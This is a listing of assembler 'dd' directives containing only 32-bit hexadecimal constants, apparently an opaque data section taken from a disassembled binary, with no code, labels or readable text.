dd 19FBABC0h, 71AA91ADh, 1C6479C8h, 75099E16h, 45000901h
dd 609AE41Ch, 3A8E8828h, 0F40BE4B4h, 6C6C0FE0h, 91CC9595h
dd 62248569h, 0CAD3ECADh, 0C093C830h, 0E79529CAh, 3D4C64F9h
dd 91309795h, 0A20A8295h, 4D94C011h, 8F45805Ch, 0C9566505h
dd 50B2A5FCh, 6CB9CC4h, 719B275h, 86DB3830h, 9B0B2055h
dd 50001992h, 9CF37E31h, 0B58DDF6Fh, 4A20B09Ch, 5E0C94A1h
dd 3F000646h, 8D0C48C8h, 4981CD8h, 4FCA2100h, 0D0B27C46h
dd 446B00C6h, 1D7BF618h, 9CB0A0B1h, 6CD13C91h, 69057D18h
dd 4DC38E73h, 188B8852h, 74C032C8h, 46F66h, 9A62DC4Bh
dd 0F9B95786h, 59892332h, 0AFE4601Fh, 0A9483EEAh, 35C8950Bh
dd 0D3748464h, 0F4A09Eh, 26A567B9h, 222BD8FFh, 0F96881BDh
dd 29963A2Ah, 8598A476h, 530A5D04h, 408838C6h, 4AF6005Fh
dd 3C636EEEh, 9400DE33h, 61ED6A07h, 15EB5BBh, 3FA9AEC3h
dd 730F7F79h, 30F8E2E8h, 0C0028857h, 6229ABDAh, 29D87045h
dd 2988DCE6h, 0FAC7094Ch, 0D3EFA4A0h, 95006B72h, 3DF630D8h
dd 60D52181h, 2220B4DCh, 5D045F46h, 0EF79414Dh, 542338A2h
dd 0F4E3AA01h, 2D3B9B27h, 0E1C1F81Ch, 354FC0Fh, 9028EA6h
dd 6C6529h, 91A6501Eh, 0A00447Fh, 2D669320h, 2CA417A8h
dd 8636D9h, 92650633h, 0D0B682C8h, 3B952860h, 90F09014h
dd 0A0017C18h, 32C9A880h, 0C8180D97h, 623C08DAh, 0BE587ECCh
dd 0EF1F11B8h, 53838E00h, 0ED9F099Dh, 0D305F8B0h, 931A2BE2h
dd 0F04648A0h, 0D12CB1B9h, 47D01905h, 93280046h, 961990DEh
dd 6315A44Dh, 0C8C224h, 2C33CE8Fh, 194F5304h, 78981A76h
dd 2B252027h, 0B01DE891h, 19CA818Eh, 0F7442011h, 0DC71E780h
dd 14AA02FDh, 697E07E9h, 50AE4F60h, 509BDE4Fh, 3AC40180h
dd 1C0EF227h, 612F9350h, 0A134C7BCh, 1F0B9869h, 1C9D4DF0h
dd 0C28FF411h, 0D1F13880h, 0C600B7BEh, 655046FDh, 58349839h
dd 67E87C31h, 4F54048Ch, 0C39547D3h, 0D9F015B0h, 80B5DAB3h
dd 85D86218h, 9F112659h, 3467CA8h, 2B68DF0Eh, 0FD620182h
dd 75E0B848h, 0E228A352h, 91273007h, 4F58A50Bh, 0B0406048h
dd 3FBF00F3h, 53E2D6DCh, 24968D96h, 0CE772100h, 10D95065h
dd 0BC48F2FCh, 0A4008C96h, 97BAF16Dh, 4F02791Dh, 6A1C99FCh
dd 4CE2434h, 2FC06788h, 9563F48h, 4C93DA8Eh, 90AD1402h
dd 0C85CACC4h, 772383A8h, 85809D6Dh, 1EBB9B32h, 0D9D675h
dd 7BAE0F61h, 73FD334Fh, 3067A224h, 8E01D5E8h, 8CDF4808h
dd 0F0207C72h, 1FFA5F8Dh, 99CB8B6Ch, 92F84458h, 0A2A1BCF5h
dd 7090955Bh, 90026F50h, 58CDB186h, 841DE02Eh, 0BDA7024Ch
dd 542941FBh, 465E207Ch, 4D0B7C94h, 6214C891h, 0C08CED00h
dd 0BAD274F1h, 1825D38h, 0BB7C1BDFh, 5C33B842h, 213004A2h
dd 5E6494C7h, 0D7009B46h, 0C6B55AEAh, 0BE16836Ah, 0F4828BB0h
dd 40902B9Eh, 0D826FB5Fh, 181AB501h, 0F14C8781h, 0CF4480EBh
dd 2F280F5Fh, 8E213B5h, 0B89324D4h, 0B72DD0A2h, 8B2B0080h
dd 0B09A4F95h, 548F795Bh, 309EEB84h, 13902ABCh, 0BFFC772Ch
dd 8F6CC200h, 9509D1CBh, 53D75810h, 800065Eh, 0F002FCC5h
dd 43651C29h, 4EF60261h, 34F0E2DEh, 1A24F911h, 80C49B5Ah
dd 8F304380h, 0B7950B2Bh, 0A851AA11h, 5E3E2682h, 0BB8D80B6h
dd 67C80F93h, 0F463411Ch, 85A4E811h, 78A8A680h, 1C8C02FCh
dd 8924E370h, 74E23E5Bh, 0B400A859h, 8032FECEh, 0FD0D3B40h
dd 65BCEF01h, 6829167Eh
dd 494605C8h, 0EC815D6Ch, 0A4303925h, 337A12D6h, 0F244F29Fh
dd 2A053093h, 9088E48h, 905BD0B9h, 0A8A74068h, 952923C0h
dd 67C4B867h, 0AC961560h, 0FA26BA05h, 0E0A81808h, 691901AAh
dd 0CA862BB1h, 0A903843Dh, 0ACE5EAC4h, 0F6569BA8h, 183A1E2Dh
dd 0C93FACh, 13A35B1Fh, 6AD59229h, 0BFC4080h, 4F51D35Eh
dd 8F00DC51h, 6BAD7CBEh, 2FDE5B83h, 0FB2384h, 2AE386BFh
dd 0FF01F5BAh, 0FC6B835Bh, 8C683CFBh, 51AD7518h, 0CC00717Ah
dd 7FAF98ACh, 7CE47CDh, 0F505DEC8h, 0B1938529h, 0F2287270h
dd 30F331FAh, 0E917236Bh, 0E300D978h, 0D78DC8CAh, 0F5951399h
dd 9AACD290h, 0D24050F6h, 0E795A71h, 6707F485h, 0A873E9E4h
dd 6A27043Ch, 78EC5701h, 0A6006222h, 14063C9Bh, 1CA7D8h
dd 8F6AB567h, 29AA9893h, 1575F3EEh, 44F06795h, 0ED6C60F7h
dd 62990693h, 0A99235E7h, 165C9280h, 4CC00803h, 0AB24E0A8h
dd 302A849h, 0DF3A0393h, 2EBD63A1h, 542AB01Fh, 0F379E8E9h
dd 0CB00B218h, 0A0860137h, 0B6C9A109h, 4E2980D4h, 50FB9446h
dd 4659CB2Dh, 601CADF4h, 4C2E7148h, 2D81970Ah, 0B202B2DCh
dd 0D449532Bh, 3700D63Ch, 0D146380Ch, 12040695h, 40142B5Fh
dd 8AF5F99Ch, 483E5045h, 992122Ch, 518EACA0h, 606FC0E4h
dd 5575233Ch, 7EF27007h, 37002C01h, 223B59h, 6A259D1Bh
dd 0BEFCEAEBh, 98E34400h, 0A13AA497h, 47D4F4Bh, 0A64E4904h
dd 0D7FAE0B0h, 6F2D025Dh, 0E48DC1A4h, 29122872h, 0F0F0D94Ah
dd 9454983Eh, 8900DC3Ch, 0AC3179A8h, 0B69CD9FBh, 0D3610F7Ch
dd 95472561h, 0DA9461FAh, 52DDA098h, 0A54F2409h, 34D84876h
dd 0A3830087h, 0FEC943BDh, 3F79BCB8h, 0D1C86F00h, 57B93D4Dh
dd 0BF3001EFh, 0EC5DFC50h, 37DB603Bh, 6CAC49h, 1ACFB10Ah
dd 0FAE6C695h, 5C4DF476h, 0DD044Ch, 33DDD118h, 5A12B03Dh
dd 50F8F026h, 0A0E1CF27h, 3CD714A8h, 7218E470h, 9292AFCh
dd 7837B794h, 95DA10Eh, 0C5480B89h, 6096E480h, 90570BDh
dd 2ADFB139h, 0D705ECF3h, 9090D65Bh, 3EBE1D7Bh, 4059F985h
dd 110070BCh, 0FCD651C7h, 789DF91Dh, 5CFE5DAAh, 1BE32901h
dd 3099AC20h, 6400EF8Bh, 0E037C9Ch, 27E4CBB1h, 0D4CD4F6Bh
dd 0C5600344h, 0AF5AC7FAh, 95E97C39h, 4029EE00h, 0AA6F2100h
dd 3F55D518h, 7170B48Eh, 0E00B0DADh, 0CECE0588h, 0EEA7C099h
dd 0BE08F9E9h, 8B7D4190h, 0E8C5C993h, 0F703D697h, 0DEA48599h
dd 0A960E78Dh, 4CC7B52Bh, 9C167CFDh, 0F35C848Fh, 3069B21Ch
dd 97AA7Bh, 1E555EC0h, 4CE095ABh, 22804E23h, 0B40B7395h
dd 45314454h, 0A440B175h, 0CD92612Eh, 0CFB03EC6h, 4066B681h
dd 0C4140A2Bh, 0CB58B5E2h, 94396731h, 45217071h, 4F8DA470h
dd 8ACC8C89h, 0C0C3C927h, 0F99EC7DCh, 388B44Fh, 0F644ABC2h
dd 35EB40CCh, 0B03EEBFh, 3027E213h, 0A8A9CCE4h, 0F5D92F00h
dd 0B6537B44h, 78EF1700h, 0BDE574DBh, 255109B3h, 14049345h
dd 0EC24F94Eh, 0E8B4001Dh, 4CC86A4Ah, 304BFD7Ch, 13E170F0h
dd 0E393367Bh, 3002B2BCh, 1A099515h, 0E1E253E3h, 14688FC8h
dd 9E18BE9Eh, 2D9718ACh, 78A27931h, 58C62CFCh, 0E64D4444h
dd 4EF99E40h, 0FC7C402Ah, 826D511Fh, 24202FF9h, 0E00D8F4Fh
dd 271E1F5Bh, 58456F13h, 58616BE4h, 0C93BD815h, 0F4C5059h
dd 58E62BD5h, 0B8DCFC9h, 0BE8032ABh, 3D13C71h, 513FF618h
dd 0B8E40546h, 84E9FDC4h, 1C0097B8h, 0C8F5BE33h, 17760383h
dd 0E0D5822Ah, 29E0C390h, 0CC8F1D00h, 3A0B4AB8h, 0F8FA2551h
dd 6BF99471h, 0EA020E18h, 0CD29DA11h, 0EC0450F3h, 75E11454h
dd 5E888A3h, 3EE9018Ch, 4F88ECB7h, 0B29ACC54h, 95E86FF0h
dd 0B842BA12h, 0EFB82CF9h, 112BF508h, 206627A8h, 66712099h
dd 60045D18h, 4F6AE396h, 9704F8F2h, 904CCFDh, 931C6453h
dd 0A1CD78C8h, 84156D16h, 27738201h, 0C12E6182h, 284DEF6Ch
dd 8CF5BCFCh, 0FD09DB7Ch, 0DA233570h, 13F70AC0h, 48CB015h
dd 0E6B54F7Ch, 39D1B0F4h, 61151D6Fh, 34C20E17h, 0A09F21A0h
dd 6D0411DFh, 5B2D6227h, 190F4888h, 104FDD92h, 2228687Bh
dd 0DC54BE4Eh, 3C441C48h, 253B41B3h, 236C2E70h, 4FBF006Ch
dd 1523F635h, 0C81DF09Ch, 0C4D4C72Fh, 8DBE60FAh, 47F60931h
dd 0D0543B32h, 606D620Bh, 34CD287Ch, 0F8B80273h, 1C6E5FD8h
dd 31D7F600h, 432BDEB1h, 0A5E0E495h, 60F6C414h, 383DDDEh
dd 6A27A68Bh, 0A812673Dh, 84B84357h, 15AD0921h, 806B9128h
dd 0EBCED589h, 0F177041Fh, 814611FFh, 13F9D70h, 31A756F8h
dd 85004851h, 7DDD876Bh, 22680339h, 7A3A3DCFh, 0DB60F0D8h
dd 0FD0F5F00h, 68D1FFE1h, 0F9B70D13h, 2BA93D24h, 0C78BD89Bh
dd 224A8841h, 309AF248h, 60085BAh, 0D9CB424Fh, 9C28F9D0h
dd 2B638B8Ch, 0A80D244Ah, 3E8CF139h, 0F5ABC44h, 214A0101h
dd 20526A36h, 0CC406CEDh, 5A624099h, 0C060ED97h, 0D197669Eh
dd 581AB600h, 5EE5E1A3h, 0BF560F68h, 0F70BDBEBh, 660B04Dh
dd 1CCE6419h, 4E97E344h, 0FB40A8F5h, 16D411A4h, 92ADD8C2h
dd 0B01F5568h, 6E809411h, 0A75EFBF9h, 0F78DD1Ch, 91B01D67h
dd 0D42882FAh, 485EC085h, 8E2B25A7h, 0CD178CDBh, 0ECC41612h
dd 6E3FBCF1h, 97581758h, 10B5DC12h, 5FA98141h, 86E6Ah
dd 97CA5FC9h, 0B6A30125h, 4C969D44h, 0CD10AB21h, 6B71E0B4h
dd 0DA5BD710h, 4A03AC96h, 8AC251D3h, 1DC8D19Dh, 0CC9F4A9Ch
dd 67361C08h, 0D0814820h, 5474B8AAh, 5D01DC00h, 3E9C44A9h
dd 5A7B1759h, 0EE84DCA8h, 40022CB6h, 2AA3E73h, 786D10AFh
dd 59423EE0h, 3D2D2796h, 0DA5354C8h, 98B7934Eh, 396ABCA0h
dd 0A6D2CF1Eh, 0FE78097Eh, 0C468C548h, 92F36095h, 7B9F09CBh
dd 1854573Dh, 0BCF95392h, 3AB64916h, 6A2350h, 0BE5EEDD7h
dd 3909BF38h, 7619257Ch, 2BD50254h, 0ACA29282h, 9117F7B5h
dd 0B7AC8069h, 61597A27h, 0C988B844h, 48C42E13h, 0D46EBFh
dd 0DA95CBE3h, 334A29A6h, 505855F1h, 8A6253E0h, 6B37B0C9h
dd 5D85E87Ch, 8CCA0013h, 0CC49083Ah, 0C2386836h, 0C9AA85B5h
dd 428098F9h, 4CDD0h, 7C0C0383h, 0CA53D8E1h, 0CB78D4Fh
dd 0A69AD712h, 6243E008h, 0D0E8016Bh, 0FDFFCB25h, 886D35h
dd 0B30B1ADAh, 2789871Fh, 4C22BF9h, 46760C7Ch, 66C500F5h
dd 5B3DA559h, 0C86E610Ah, 105FC7C0h, 17A1926h, 0BDF98791h
dd 0E0C9D6B1h, 3430E1E4h, 0EAC2C441h, 0B64500FDh, 383A16F6h
dd 1A008467h, 22636198h, 48FD4983h, 19005121h, 82BFF080h
dd 65185196h, 0E08667Ah, 3F20C022h, 47CF078h, 3C0A3Ch
dd 0CAB521F9h, 0B922A3h, 781998B1h, 826EC644h, 0E157F800h
dd 37B35406h, 86610E97h, 88603A7h, 4E181028h, 4D49310Ah
dd 7FBC00BEh, 261DCDB6h, 8CCA5AEh, 0FA722149h, 0B5843CBCh
dd 5EF2AF80h, 936B2536h, 50162000h, 87FF21B0h, 7F5430ECh
dd 311D652Eh, 406CB430h, 0B7C12Dh, 5A9FD3BDh, 0CA3BE788h
dd 86888369h, 26933A1h, 0EC6B58AEh, 908CA77Ah, 54A44F20h
dd 80BCBF04h, 4662D5B6h, 0BCB77320h, 38E72C59h, 847830F8h
dd 6201C2BFh, 0F6582804h, 0C4414956h, 4361215Ah, 6332DECh
dd 1573F9CBh, 8100B164h, 0EA87E553h, 3331464Dh, 7A083DE2h
dd 4BA32100h, 0E88F7EE5h, 0E1F73E26h, 0CDF8E980h, 1EB866BEh
dd 682DCF30h, 53DDBF86h, 42E2BC08h, 7E47D030h, 38E68Ch
dd 27ACFF6Ch, 0EB88CD60h
dd 0B89210Ch, 4A313Bh, 48BB7FF6h, 7709579Ch, 7ECA6C07h
dd 8FC360B3h, 8B400933h, 148EB22Dh, 86413898h, 0AB532400h
dd 0A2FD8579h, 3D08CC71h, 7E006221h, 0FE409C24h, 3E4A35Ah
dd 0ADED0413h, 38D1AEAh, 2AE04AA0h, 22E13018h, 3CAE7E39h
dd 3C14DA4Eh, 7D24E867h, 0F07AC078h, 664682B9h, 39001222h
dd 4BACF072h, 0C08448Eh, 9EE2AD0Dh, 0B6EA331Eh, 0D060A731h
dd 708334F1h, 0FAE6B330h, 71E86040h, 0E551048Ch, 623DEA85h
dd 49A12076h, 711F78E5h, 6852D784h, 0FEB81801h, 0C0064C66h
dd 7F0F8246h, 8E48BEF0h, 3E4015C4h, 3B19F077h, 6FB24D00h
dd 0E870B701h, 90B05408h, 35EB0021h, 0E2803831h, 2E6822DCh
dd 0B111D018h, 52248580h, 458C71ABh, 247DC835h, 80F1677h
dd 94B67E70h, 1B82324h, 0AB59248Ch, 883618A9h, 24758468h
dd 57AE6702h, 0C0EF0C79h, 1A03C3Fh, 0EAA5476Ch, 2030F849h
dd 0A63508D8h, 6C1FC957h, 0BCB90163h, 18A5B67Ah, 0B16D8844h
dd 9530BC01h, 0B0313459h, 4A2D198Eh, 0C004A0B5h, 845F15A7h
dd 218C4F9Ch, 0DC296F0Ch, 5D7AE500h, 1AED30BDh, 689A00E7h
dd 310D4E73h, 0EA8867BBh, 81B3A2AEh, 99168014h, 0B63E19BCh
dd 0E82A3A20h, 0F9496CB2h, 18038E20h, 72582002h, 448906C3h
dd 9810424h, 40211860h, 0DBC350h, 0A8461B3Eh, 0B50BF78Bh
dd 7206453Ah, 6D9D8D0Ch, 0E06A0C2Ah, 2EE85452h, 23C3725Ah
dd 1D115489h, 0C3524203h, 0A7A0DCEBh, 6D005BE4h, 89A1BB25h
dd 0C10355B5h, 0FF238156h, 0C19FCBFEh, 851661BDh, 0DB8C6618h
dd 14233A2Eh, 9E9A83Dh, 55759600h, 0CF825986h, 7B5FEE4h
dd 0F67D7CB9h, 124660AEh, 8B7CE731h, 0A0F79D6Fh, 840F04C3h
dd 147C337h, 1E865185h, 0ED95FF0Ch, 2C81A718h, 18122DFh
dd 5C0F2AD0h, 9474D850h, 8940D706h, 205C2404h, 0E9302E81h
dd 46C5550Dh, 956B0022h, 9DFD344h, 4D06A9BAh, 4B4E9AFh
dd 8B0F1824h, 11E8311Ch, 6B1E0BC0h, 7703D81h, 0EB4EC1D2h
dd 4C2311A7h, 0D9F5F4C2h, 0D5EE98C0h, 0E0B05EF9h, 0D951831h
dd 70E68208h, 0E971E40Ch, 3CFF5107h, 83801E42h, 0B60FA3DBh
dd 9D3389D8h, 96BA337Dh, 57C8812Bh, 0C3725F18h, 117C8923h
dd 57470215h, 0A1D143C3h, 8B351C95h, 0A0870FE4h, 308D892Ah
dd 0C16A12CDh, 0FBA704E8h, 6601C44h, 0CC263914h, 0D4001422h
dd 7DBD333Bh, 605AC328h, 310012E9h, 0F42299CFh, 3FFF3692h
dd 0EE893FA6h, 40014696h, 44AD506Ah, 9D5142BDh, 61001069h
dd 0A5E2F766h, 6016C452h, 5C69D38h, 2BF8B70Fh, 23A83AD8h
dd 54B10616h, 0A1209665h, 50930032h, 0BACE8B60h, 0EA5881EFh
dd 0A0937B2Eh, 0A18B5F78h, 5C891185h, 5B0A9D29h, 85B5847Eh
dd 5108C833h, 0C359398Ch, 384C8913h, 51014136h, 269395C3h
dd 0A420EA05h, 263250DDh, 5B398C53h, 5C8911C3h, 438A1988h
dd 0A800A753h, 687135EDh, 3AC91E8h, 0D2619536h, 0D1A3CCD0h
dd 60440400h, 0D681F27Dh, 1C7509F6h, 0A8185E32h, 0CC00D29Dh
dd 0E70619ADh, 690B21h, 0E2DA4C7Bh, 0BF5237EDh, 9B3CAC08h
dd 55B0B205h, 0E4C35D30h, 226C4689h, 5545001Ah, 0DE17EDC3h
dd 0DD243F79h, 0EF04896Ch, 0C9826F95h, 17CA42FCh, 801B112Ch
dd 0E2EEF49Eh, 9920039h, 0F613C97h, 2489183h, 0C35688DBh
dd 8991C35Eh, 83032374h, 8CC35646h, 6DDA081h, 0FD030405h
dd 1149120Fh, 0B1410260h, 0FAB80028h, 0D01DEDDh, 0BF0F5661h
dd 1D375EF2h, 0AEAC1F4Dh, 94FD7000h, 0DCC686F8h, 0E806183Fh
dd 6055250Ch, 8A9BA41Fh, 213382BDh, 4040411Fh, 0EFC9BDA0h
dd 3C389AA4h, 0A699951Dh, 4BF6832h, 95A650F7h, 23C53AE8h
dd 41C60217h, 0E642E929h, 311DF340h, 284B5881h, 0F4C01A88h
dd 1BB2858h, 235467DAh, 0B00295B5h, 880F6252h, 0EA0153A7h
dd 43301DE2h, 753903DFh, 114EE8Eh, 0E481A6DAh, 1021BDh
dd 0B1B9F861h, 0D1F2290Dh, 7C61815h, 79BF663Fh, 0FA8B4025h
dd 5AA5C183h, 78601AE4h, 6B022DA8h, 0FEFAFEEh, 33208A80h
dd 0D93BF307h, 0A91A86B2h, 11261D8Dh, 8EBA8018h, 2E295E25h
dd 133F5F57h, 4B6FD9h, 983655A5h, 5DF68165h, 0C92225C1h
dd 0B08E837h, 24BE0DD1h, 26C2FDC8h, 10AE29F2h, 335F2E17h
dd 467426CAh, 266A001Dh, 0AA93998Eh, 0EC5C5E92h, 422507Dh
dd 0BE6629C0h, 0B82B220Bh, 19DE019Ah, 3D6791AFh, 0ACA7A034h
dd 0E92F6C63h, 180B010Eh, 8815BE0Ch, 0BD5A2095h, 0D964D701h
dd 56E9C4F2h, 11C49FC2h, 0D1CB8215h, 76D5C4E8h, 2E58B509h
dd 2282CA00h, 0E2A04CFh, 0DEB924E7h, 2444248Ah, 0A04667E5h
dd 0D50C45A0h, 9E881800h, 22C15E4Dh, 0B6FA058Ch, 80615AA6h
dd 2051B570h, 63C0B283h, 0D7D8D312h, 0E985C7E0h, 991CC013h
dd 0FC3BB877h, 0BD8126C5h, 92D07F88h, 700F7992h, 0F1CA9182h
dd 689D1815h, 0CFCB46C7h, 0ADFF2227h, 0C0015E6Eh, 294F1B4Dh
dd 0D8D003Fh, 89821A32h, 2A9A11B5h, 31C0E873h, 0C858949Dh
dd 762275F9h, 3CD52C77h, 364960AAh, 0CAF8B624h, 7EF89C01h
dd 0E38BB472h, 29ED5088h, 0B05E5F0Bh, 0B3F88B11h, 24DA30F3h
dd 0BF98907Dh, 0CEDC612h, 1B23133Ah, 0CA5D7C00h, 305720EFh
dd 0CF5032A3h, 8B2EB3DDh, 490D5FFBh, 0EEF4750Eh, 45D7427h
dd 0A9176E6h, 0C0F7DB24h, 4051C91Ah, 0ED852C29h, 0FE98C7Ch
dd 0F601DE25h, 38F3F449h, 62DC59D2h, 9B6F0B22h, 97B71D97h
dd 0D80FEC87h, 0B503A730h, 2016419Dh, 0BC19F72Ch, 50586359h
dd 0E2F92819h, 516B3016h, 8D01F205h, 9420212Dh, 0C20CB9F6h
dd 44E1DE0Ah, 0C57EAA80h, 0FD94367Ch, 0FF4902DCh, 2EBD9D31h
dd 6BC73380h, 433FE92Fh, 0DB9F1F7h, 4B1815D1h, 70065E58h
dd 49953188h, 8B006C75h, 0E9CE81C1h, 7814139Ch, 41404EBh
dd 333D8D89h, 1602BF0Eh, 0E7535744h, 6E44370h, 0A9858DF7h
dd 0B5267B28h, 50871EBDh, 5F60F53h, 0F8BF0235h, 5F45E544h
dd 1EC80C70h, 951AC06h, 87483185h, 73E95E56h, 3017B29Ch
dd 45E42E1Eh, 0FE0DDFFEh, 0A8504B4Ch, 510FF230h, 21CAFD06h
dd 2305C083h, 3017A224h, 0DF0175C0h, 5260907Bh, 0F4009E9h
dd 351E5Eh, 385BF1E4h, 0B95259EAh, 569F9A0Eh, 5061E76Bh
dd 8B60431Fh, 248F9FF3h, 0A88C310Fh, 3F6800DBh, 524A6432h
dd 0FC003D55h, 3B5ADF0h, 56585A8Eh, 41F0DC90h, 3CC66B2Fh
dd 9008F78Bh, 17F52063h, 0D2EF1F90h, 2130F672h, 8DF2192Fh
dd 0A7B01F9Dh, 690F9E0Eh, 6C28EEh, 0FFCEF1D7h, 0DD9D89D3h
dd 85431463h, 8B4F5C6Dh, 71FE908h, 843FE81Bh, 1AED4FC1h
dd 0BB9BCF55h, 0BC0BDBDDh, 9E090FBAh, 0FA863457h, 0C3499B37h
dd 9FB04006h, 5DB52BB0h, 9D8B800Bh, 4C1468E3h, 8C16E883h
dd 43ECF41Fh, 0E42EE39Ch, 0F18B6681h, 8F60DB0Bh, 81008458h
dd 8335B7D6h, 0A309CBBDh, 84DA1199h, 0E9F90C07h, 0B0F50D4Fh
dd 11481E8h, 18F2D563h, 5D3D730h, 60DFAE80h, 8EC0889h
dd 8EBF6601h, 1C7161E6h, 5714E333h, 2A9C3F82h, 0F5EE0A62h
dd 699C8D49h, 126708h, 9241E781h, 91B46616h, 78D65C68h
dd 13A416B1h, 0B6AB84F1h, 9A8E008h, 13CD2DB5h, 23409231h
dd 301AF228h, 6104D8CAh, 9E772A7Fh, 0A6487BA3h, 11A8510h
dd 0A55FEABEh, 0C25506Ah, 0EA30A125h, 288024Eh, 362E92Eh
dd 1B11459Dh, 0DD507A80h, 3F14A587h, 4BD8F29h, 0B05577E6h
dd 0C9FFDFC0h, 980862E8h
dd 0A6D230E5h, 0F6B70F05h, 758371E4h, 92E2847Dh, 0FB87527Eh
dd 686254Bh, 0E70CDDD3h, 4920C34Eh, 877820F6h, 4E6116E4h
dd 5A3430AAh, 19270E04h, 2BF2D82Bh, 383015F2h, 24DF9622h
dd 84BE9CD5h, 0C402312Fh, 0DFDC82D4h, 89C60129h, 61CE241Ch
dd 16691140h, 8D8C0FC5h, 8BC3EE75h, 0C10F245Ch, 1EB9B529h
dd 0CEB00C92h, 0C0178820h, 266B259Dh, 0F08BCDA0h, 837BCCA2h
dd 0A43DAB71h, 532A3622h, 0D688EC5Fh, 0EBA648F8h, 39F714C2h
dd 5FEA88D2h, 916465Ch, 7B1E03Fh, 20089910h, 32292DA9h
dd 2D158FB2h, 0E2891411h, 0F0F92B24h, 0FE29B725h, 1C712658h
dd 72002018h, 5D75AEB6h, 0C254F2C9h, 1A18855h, 40D139D3h
dd 88052830h, 2A1333BEh, 48C83AE5h, 4DBD2629h, 2A08A70Ah
dd 8AE27D0h, 4BC78ACAh, 23417102h, 5211C909h, 5BEFB114h
dd 30AEC08Bh, 0D2A1BD09h, 0F4F1C887h, 44A5C78Ah, 317C6019h
dd 78B91329h, 0BFE9D03h, 0C01A88D1h, 0FF1CE034h, 0B1F70C14h
dd 34F131F7h, 0BD24B9BDh, 0FAC35D2Bh, 453B77BCh, 20205F09h
dd 760199Fh, 621142F8h, 5D8DF357h, 0FC5FC113h, 0A76028D8h
dd 611DE494h, 0E4F0C8DDh, 0C26D04E6h, 0A2B09C02h, 6407003Ch
dd 8B3E4BC9h, 0E516261Dh, 132508D7h, 1251E90Eh, 1104507Bh
dd 0C8719531h, 2D99C0DDh, 631819D1h, 7973504h, 0F681FF91h
dd 0C104244Dh, 0A72AADB0h, 20490C5Fh, 610E4159h, 0C77D26h
dd 5FCEABDFh, 34C0B2BFh, 9B901D3Bh, 86F0C19Ah, 0E121398Eh
dd 0FD821D04h, 0E57979F2h, 27A47E44h, 0B56EBA0Bh, 187E8171h
dd 0C56939EBh, 0D24C7DB9h, 7E8789DAh, 2789C934h, 1491D3B1h
dd 0A74054D9h, 0BC8160F3h, 627104BDh, 0A65BC8E9h, 0C517AA00h
dd 6690615Bh, 690602BEh, 1315B589h, 6FD09CFBh, 0EBE41637h
dd 80FDDB15h, 455A966Ah, 55DD053Eh, 0A69FAFDEh, 0CF7DE158h
dd 4431AB20h, 1B881411h, 17820051h, 0A305696Dh, 4F000898h
dd 196F503Ch, 50B355D0h, 4488B352h, 0B4A0510Eh, 438220F1h
dd 5F4984E1h, 244D422Bh, 479660C2h, 60154405h, 68E84C75h
dd 0C4150Ah, 8F57AC81h, 6A2639CAh, 0D50D7058h, 0A530B317h
dd 44EBA75Fh, 0C548601Dh, 0FE33F416h, 5BFD17E1h, 0F8DF0364h
dd 0FF9AEDE9h, 19351168h, 208D8980h, 604C2DFDh, 8C1BE83Fh
dd 59551600h, 3A629E37h, 1CB94BE6h, 8B37AD2Eh, 31C5B500h
dd 0E48D21B0h, 0B29DD224h, 0C3705F74h, 74722AE0h, 0E9800C48h
dd 9D3A61D7h, 1F3B1A4Eh, 12021723h, 0D0E97F36h, 6077155Eh
dd 0C94D478Bh, 0E00ECBCh, 3BB11F51h, 9801E183h, 5822437Dh
dd 8C14B81Fh, 9D892E04h, 0F2D61B3Dh, 0D85B93F9h, 3E24C072h
dd 7900C60h, 95957876h, 0E2617E07h, 6A648E0Fh, 0BDC8FECh
dd 126B543Fh, 3666088h, 32457B9h, 9D31B1B5h, 2235B661h
dd 0C1BF2A51h, 8481D23h, 481A934h, 122985E7h, 0B10EA808h
dd 18A1A7h, 12C3DB81h, 5F299DDFh, 0C94A7801h, 9127A035h
dd 2C9E4CD3h, 0FE796F82h, 0F005266h, 8B2BDFE5h, 44DEE8h
dd 0BA7F7122h, 88535E4Fh, 0D58CF30Ah, 6648E98h, 0B9CB8B4Eh
dd 5820316Ah, 9760A9BEh, 2B1A3954h, 70DCDB8Ah, 0A7F26213h
dd 7E1EB903h, 144A0258h, 0C118897Eh, 1AE81894h, 24EEE8Ch
dd 224AD4EEh, 0E19AF807h, 2439F102h, 3C69E191h, 0BCA2496Eh
dd 46896201h, 0C14F13E9h, 0BFB08F60h, 0B3C15D8h, 0F8294A8Bh
dd 3F2592B5h, 1D23C8h, 6FD55D29h, 61712294h, 8B40E614h
dd 8C1CFC5Ch, 1B090E00h, 3395788Bh, 88684A5Ch, 110030FBh
dd 0CE46D920h, 118B5F51h, 4B07899Dh, 0FC1B52C8h, 0B579F3h
dd 1959FF0Fh, 67785D0Ah, 0D7764204h, 77C092F7h, 0A6B1E8F0h
dd 3D2A4888h, 28C18FCh, 0E3EA4DD2h, 6DC0512Ch, 66C25AD3h
dd 40A4F2C6h, 49958B3Ch, 1D4D44B1h, 618C14ACh, 0F6DA5CD6h
dd 2A026492h, 99D81793h, 8C7C09B2h, 5086F20Ch, 6D4354DAh
dd 19A25142h, 0BE3DB30h, 70A39D2Fh, 0A179C404h, 57A8DAC5h
dd 431911E1h, 492434C4h, 55C168DBh, 28CBD4h, 820D85E0h
dd 94096607h, 0CF45D4ADh, 0A8A85D4Dh, 268C0E4Eh, 1DCACC88h
dd 3D372FF5h, 3476E100h, 9685C7DCh, 9AB7E91Dh, 34B6218Eh
dd 40153FBFh, 0DCE99E61h, 0EBFCA101h, 0E99D6107h, 0D491BB8h
dd 0C904A1BCh, 0B302634Eh, 0C1DE3782h, 0BE787582h, 416E5Ah
dd 93D529E5h, 0E95EC66h, 459D095Fh, 0E96AA472h, 0C2D47558h
dd 78A8D88Ch, 0E35423Eh, 77B5FF01h, 9FC0CC84h, 0ED0E7D18h
dd 0F089D0F0h, 8BA5C055h, 0CEFC1FEh, 6E046840h, 247B820h
dd 0E00DA557h, 9550FFC5h, 3261E91Ah, 4585C66Bh, 567B002Ah
dd 0C530DF68h, 557EA962h, 0A1283413h, 61630E33h, 1A6A50A7h
dd 6E56057Ch, 0C3611200h, 0EBEAE0C1h, 9104B00h, 0C53C2F0Eh
dd 3DAF01Ah, 0D41CA4ACh, 0E48B5CD2h, 3134CE80h, 871BF53Ah
dd 0D129B327h, 0C7DD5B90h, 17E63E2Ah, 1CDF7A7Eh, 29A6DB67h
dd 4128F001h, 0D427E600h, 0E9C3727Dh, 2575940Eh, 30C1644Dh
dd 0D6F86007h, 0C04309E9h, 0FB0E5129h, 590C4BBFh, 7985BE81h
